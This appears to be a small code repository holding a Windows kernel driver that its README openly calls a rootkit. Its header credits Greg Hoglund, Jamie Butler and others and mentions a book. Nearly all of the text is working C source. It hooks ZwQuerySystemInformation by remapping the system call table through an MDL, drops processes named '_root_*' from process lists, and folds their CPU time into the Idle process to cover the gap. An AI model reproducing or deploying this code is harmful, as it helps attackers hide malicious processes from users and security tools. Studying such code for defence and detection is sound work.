├── README.md └── Driver.c /README.md: -------------------------------------------------------------------------------- 1 | HideProcessHookMDL 2 | ================== 3 | 4 | A simple rootkit to hide a process 5 | -------------------------------------------------------------------------------- /Driver.c: -------------------------------------------------------------------------------- 1 | // BASIC ROOTKIT that hides processes 2 | // ---------------------------------------------------------- 3 | // v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com) 4 | // v0.3 - Added defines to compile on W2K, and comments. Rich 5 | // v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array. 6 | // Added code to hide process times of the _root_*'s. Creative 7 | // v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org) 8 | // v1.0 - Trimmed code back to a process hider for the book. 9 | // v1.01 - Hides server process Jyang772 10 | 11 | #include "ntddk.h" 12 | 13 | #pragma pack(1) 14 | typedef struct ServiceDescriptorEntry { 15 | unsigned int *ServiceTableBase; 16 | unsigned int *ServiceCounterTableBase; //Used only in checked build 17 | unsigned int NumberOfServices; 18 | unsigned char *ParamTableBase; 19 | } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; 20 | #pragma pack() 21 | 22 | __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; 23 | #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] 24 | 25 | 26 | PMDL g_pmdlSystemCall; 27 | PVOID *MappedSystemCallTable; 28 | #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) 29 | #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ 30 | _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) 31 | 32 | #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ 33 | InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) 34 | 35 | 36 | struct _SYSTEM_THREADS 37 | { 38 | LARGE_INTEGER KernelTime; 39 | LARGE_INTEGER UserTime; 40 | LARGE_INTEGER CreateTime; 41 | ULONG WaitTime; 42 | PVOID StartAddress; 43 | CLIENT_ID ClientIs; 44 | KPRIORITY Priority; 45 | KPRIORITY BasePriority; 46 | ULONG ContextSwitchCount; 47 | ULONG ThreadState; 48 | KWAIT_REASON WaitReason; 49 | }; 50 | 51 | struct _SYSTEM_PROCESSES 52 | { 53 | ULONG NextEntryDelta; 54 | ULONG ThreadCount; 55 | ULONG Reserved[6]; 56 | LARGE_INTEGER CreateTime; 57 | LARGE_INTEGER UserTime; 58 | LARGE_INTEGER KernelTime; 59 | UNICODE_STRING ProcessName; 60 | KPRIORITY BasePriority; 61 | ULONG ProcessId; 62 | ULONG InheritedFromProcessId; 63 | ULONG HandleCount; 64 | ULONG Reserved2[2]; 65 | VM_COUNTERS VmCounters; 66 | IO_COUNTERS IoCounters; //windows 2000 only 67 | struct _SYSTEM_THREADS Threads[1]; 68 | }; 69 | 70 | // Added by Creative of rootkit.com 71 | struct _SYSTEM_PROCESSOR_TIMES 72 | { 73 | LARGE_INTEGER IdleTime; 74 | LARGE_INTEGER KernelTime; 75 | LARGE_INTEGER UserTime; 76 | LARGE_INTEGER DpcTime; 77 | LARGE_INTEGER InterruptTime; 78 | ULONG InterruptCount; 79 | }; 80 | 81 | 82 | NTSYSAPI 83 | NTSTATUS 84 | NTAPI ZwQuerySystemInformation( 85 | IN ULONG SystemInformationClass, 86 | IN PVOID SystemInformation, 87 | IN ULONG SystemInformationLength, 88 | OUT PULONG ReturnLength); 89 | 90 | 91 | typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( 92 | ULONG SystemInformationCLass, 93 | PVOID SystemInformation, 94 | ULONG SystemInformationLength, 95 | PULONG ReturnLength 96 | ); 97 | 98 | ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 99 | 100 | // Added by Creative of rootkit.com 101 | LARGE_INTEGER m_UserTime; 102 | LARGE_INTEGER m_KernelTime; 103 | 104 | /////////////////////////////////////////////////////////////////////// 105 | // NewZwQuerySystemInformation function 106 | // 107 | // ZwQuerySystemInformation() returns a linked list of processes. 108 | // The function below imitates it, except it removes from the list any 109 | // process who's name begins with "_root_". 110 | 111 | NTSTATUS NewZwQuerySystemInformation( 112 | IN ULONG SystemInformationClass, 113 | IN PVOID SystemInformation, 114 | IN ULONG SystemInformationLength, 115 | OUT PULONG ReturnLength) 116 | { 117 | 118 | NTSTATUS ntStatus; 119 | 120 | ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( 121 | SystemInformationClass, 122 | SystemInformation, 123 | SystemInformationLength, 124 | ReturnLength ); 125 | 126 | if( NT_SUCCESS(ntStatus)) 127 | { 128 | // Asking for a file and directory listing 129 | if(SystemInformationClass == 5) 130 | { 131 | // This is a query for the process list. 132 | // Look for process names that start with 133 | // '_root_' and filter them out. 134 | 135 | struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 136 | struct _SYSTEM_PROCESSES *prev = NULL; 137 | 138 | while(curr) 139 | { 140 | //DbgPrint("Current item is %x\n", curr); 141 | if (curr->ProcessName.Buffer != NULL) 142 | { 143 | if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) 144 | { 145 | m_UserTime.QuadPart += curr->UserTime.QuadPart; 146 | m_KernelTime.QuadPart += curr->KernelTime.QuadPart; 147 | 148 | if(prev) // Middle or Last entry 149 | { 150 | if(curr->NextEntryDelta) 151 | prev->NextEntryDelta += curr->NextEntryDelta; 152 | else // we are last, so make prev the end 153 | prev->NextEntryDelta = 0; 154 | } 155 | else 156 | { 157 | if(curr->NextEntryDelta) 158 | { 159 | // we are first in the list, so move it forward 160 | (char *)SystemInformation += curr->NextEntryDelta; 161 | } 162 | else // we are the only process! 163 | SystemInformation = NULL; 164 | } 165 | } 166 | } 167 | else // This is the entry for the Idle process 168 | { 169 | // Add the kernel and user times of _root_* 170 | // processes to the Idle process. 171 | curr->UserTime.QuadPart += m_UserTime.QuadPart; 172 | curr->KernelTime.QuadPart += m_KernelTime.QuadPart; 173 | 174 | // Reset the timers for next time we filter 175 | m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; 176 | } 177 | prev = curr; 178 | if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); 179 | else curr = NULL; 180 | } 181 | } 182 | else if (SystemInformationClass == 8) // Query for SystemProcessorTimes 183 | { 184 | struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; 185 | times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; 186 | } 187 | 188 | } 189 | return ntStatus; 190 | } 191 | 192 | 193 | VOID OnUnload(IN PDRIVER_OBJECT DriverObject) 194 | { 195 | DbgPrint("ROOTKIT: OnUnload called\n"); 196 | 197 | // unhook system calls 198 | UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation ); 199 | 200 | // Unlock and Free MDL 201 | if(g_pmdlSystemCall) 202 | { 203 | MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); 204 | IoFreeMdl(g_pmdlSystemCall); 205 | } 206 | } 207 | 208 | 209 | NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 210 | IN PUNICODE_STRING theRegistryPath) 211 | { 212 | // Register a dispatch function for Unload 213 | theDriverObject->DriverUnload = OnUnload; 214 | 215 | // Initialize global times to zero 216 | // These variables will account for the 217 | // missing time our hidden processes are 218 | // using. 219 | m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; 220 | 221 | // save old system call locations 222 | OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); 223 | 224 | // Map the memory into our domain so we can change the permissions on the MDL 225 | g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); 226 | if(!g_pmdlSystemCall) 227 | return STATUS_UNSUCCESSFUL; 228 | 229 | MmBuildMdlForNonPagedPool(g_pmdlSystemCall); 230 | 231 | // Change the flags of the MDL 232 | g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; 233 | 234 | MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); 235 | 236 | // hook system calls 237 | HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); 238 | 239 | return STATUS_SUCCESS; 240 | } 241 | --------------------------------------------------------------------------------